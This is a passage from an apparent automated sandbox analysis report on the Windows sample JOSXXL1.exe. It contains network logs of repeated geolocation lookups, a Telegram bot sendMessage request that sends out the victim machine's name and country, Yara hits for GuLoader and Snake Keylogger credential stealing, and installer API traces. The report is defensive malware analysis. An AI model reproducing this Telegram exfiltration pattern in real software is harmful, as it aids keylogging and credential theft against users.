cfL4;desc="?proto=TCP&rtt=1145&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2468883&cwnd=241&unsent_bytes=0&cid=c2930f4a9242bc32&ts=155&x=0"
2024-10-26 21:57:22 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	61922	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:23 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:24 UTC	890	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:24 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 5 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BUgV2WSq7XTq9Ru1FId0JZsooAkYxt4gywAkVWlzX3lVFWdTZ8WoRuUSbAJnTxk9%2FWvABPXYm1PUQ%2BTMnO7ALPocyBvIBHjorydTlcduwyrXbA6zGFsWk5f1Oa9UAVuyk3E2Yqlu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3a94ff46b52-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1048&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2686456&cwnd=223&unsent_bytes=0&cid=a24417429bdf0590&ts=204&x=0"
2024-10-26 21:57:24 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	61933	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:25 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:25 UTC	892	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:25 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 6 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8ZmY%2Fq3phhfLd3iEX%2FQ3VRW3z56U9%2BIaw93HSscBP%2Fwp3PGtnt6iaKw79WSvteVMeMigPnskuhh1bzpo7eDxtQ1nsqvd2BukQVVPq5gAzu8dKkUGtYyFKUn7bFAMBZkD9AUVpocX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3b32bfe474a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=1462626&cwnd=251&unsent_bytes=0&cid=7dcee111638c095a&ts=160&x=0"
2024-10-26 21:57:25 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	61945	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:26 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:27 UTC	888	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:27 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 8 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FYZJ49z40VGCFyOs1bCoittTzoZC1BYyzyIoyugcueW%2B0xEKgLtHZl8doa1zBGdYhWRntpmdU7WDcYfbi1ehDqBYtRMukztaH5moB8GgotpJ0HEBggbmUQ82ZEzNyoB49HUJtMZr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3bc2f9e474e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1164&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2354471&cwnd=244&unsent_bytes=0&cid=3882930602556f0c&ts=163&x=0"
2024-10-26 21:57:27 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	61952	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:28 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-26 21:57:28 UTC	888	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:28 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DsCNgvJwwU2YVGEwjqCkS1kOTAIX4o3pbzRynTRS2cxYoHDZCrVDhfJstUvI5ZV9aoLFNq%2Fn0Olq0i6tDOFxOPfeBk%2F3JXjDGFOUpaOrDIQpEX2NxywMKuA4vMHAlZx6lcw3FhJs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3c569e7476e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1051&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2535901&cwnd=246&unsent_bytes=0&cid=2fbd20df5cde2216&ts=166&x=0"
2024-10-26 21:57:28 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	61964	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:29 UTC	87	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-26 21:57:30 UTC	895	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:30 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NT3InCukBb7PzfZt1L3QkI3u7HI12RdcQtxkvqydCeSeT%2FsMzhdn753u4FoteUVhk%2FLobt4P72I9NOMIN%2BpBmxEcJI%2FoevvFYJcuD2G6b%2FEtiGSeAl3av3Zk6R6jBJTZ4PsR7qu9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3ce8ea7e7bf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1781057&cwnd=251&unsent_bytes=0&cid=30b14040ca8f5fb2&ts=153&x=0"
2024-10-26 21:57:30 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	61976	188.114.96.3	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:31 UTC	63	OUT	GET /xml/173.254.250.68 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-26 21:57:31 UTC	897	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 21:57:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 12 Last-Modified: Sat, 26 Oct 2024 21:57:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aFNPdMe%2BoyEtUwOm8G9%2F3u1eqeuLOtZ9sEIRkaPvKArYEpKswxYRALya%2BLVgDCTz%2BPzoKvhMdj5tnMv2lzXs%2FxQ0cAxt%2FUkOULEcvb1ohoOwDfy5R25EebdHlq0zS5GQQcu1Sqtl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8db3d7beac6c74-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2448013&cwnd=251&unsent_bytes=0&cid=0b358a2c7152f94c&ts=155&x=0"
2024-10-26 21:57:31 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.68</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-26 21:57:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	61981	149.154.167.220	443	3492	C:\Users\user\Desktop\JOSXXL1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 21:57:32 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:447849%0D%0ADate%20and%20Time:%2027/10/2024%20/%2006:11:19%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20447849%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-26 21:57:32 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 26 Oct 2024 21:57:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-26 21:57:32 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	17:55:56
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\JOSXXL1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JOSXXL1.exe"
Imagebase:	0x400000
File size:	811'667 bytes
MD5 hash:	FB24966DAAB46AF066A7B7C041236DE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2321723084.000000000890B000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	17:57:00
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\JOSXXL1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JOSXXL1.exe"
Imagebase:	0x400000
File size:	811'667 bytes
MD5 hash:	FB24966DAAB46AF066A7B7C041236DE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2971397294.0000000037555000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.2971397294.0000000037451000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	19%
Dynamic/Decrypted Code Coverage:	13.5%
Signature Coverage:	20.2%
Total number of Nodes:	1562
Total number of Limit Nodes:	42

Executed Functions

Function 004033B6 Relevance: 93.2, APIs: 32, Strings: 21, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004033D8
GetVersion.KERNEL32 ref: 004033DE
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040342E
OleInitialize.OLE32(00000000), ref: 00403435
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 00403451
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 00403466
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\JOSXXL1.exe",00000000), ref: 00403479
CharNextW.USER32(00000000,"C:\Users\user\Desktop\JOSXXL1.exe",00000020), ref: 004034A0

Part of subcall function 00406559: GetModuleHandleA.KERNEL32(?,?,00000020,00403422,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040656B
Part of subcall function 00406559: GetProcAddress.KERNEL32(00000000,?), ref: 00406586

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004035DB
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004035EC
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004035F8
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040360C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403614
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403625
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040362D
DeleteFileW.KERNELBASE(1033), ref: 00403641

Part of subcall function 00406183: lstrcpynW.KERNEL32(0040A230,0040A230,00000400,00403466,00429260,NSIS Error), ref: 00406190

OleUninitialize.OLE32(?), ref: 0040370C
ExitProcess.KERNEL32 ref: 0040372E
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\JOSXXL1.exe",00000000,?), ref: 00403741
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\JOSXXL1.exe",00000000,?), ref: 00403750
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\JOSXXL1.exe",00000000,?), ref: 0040375B
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\JOSXXL1.exe",00000000,?), ref: 00403767
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403783
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 004037DD
CopyFileW.KERNEL32(C:\Users\user\Desktop\JOSXXL1.exe,00420F08,00000001), ref: 004037F1
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 0040381E
GetCurrentProcess.KERNEL32(00000028,?), ref: 0040384D
OpenProcessToken.ADVAPI32(00000000), ref: 00403854
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403869
AdjustTokenPrivileges.ADVAPI32 ref: 0040388C
ExitWindowsEx.USER32(00000002,80040002), ref: 004038B1
ExitProcess.KERNEL32 ref: 004038D4

Strings

"C:\Users\user\Desktop\JOSXXL1.exe", xrefs: 0040346C, 00403472, 00403669
kernel32::EnumResourceTypesA(i 0,i r8,i 0), xrefs: 004037C0, 00403828
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004033CC
UXTHEME, xrefs: 004033FD
\Temp, xrefs: 004035F2
~nsu, xrefs: 00403739
Error launching installer, xrefs: 004036C3
TMP, xrefs: 00403628
C:\Users\user\AppData\Local\Temp\, xrefs: 004035D0, 004035D5, 004035EB, 004035F7, 00403606, 00403613, 0040361F, 00403627, 0040373E, 0040374F, 0040375A, 00403766, 00403773, 00403782, 00403833
Low, xrefs: 0040360E
C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 004035BE, 004036DE, 00403789, 00403793
SeShutdownPrivilege, xrefs: 00403863
C:\Users\user\Desktop\JOSXXL1.exe, xrefs: 004037EC
SETUPAPI, xrefs: 00403411
TEMP, xrefs: 00403620
C:\Users\user\Desktop, xrefs: 00403760, 00403765, 00403792
1033, xrefs: 0040363C
.tmp, xrefs: 00403755
C:\Users\user\AppData\Local\indvandrings\attraavrdig, xrefs: 004036E9
NSIS Error, xrefs: 00403457
USERENV, xrefs: 00403407

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

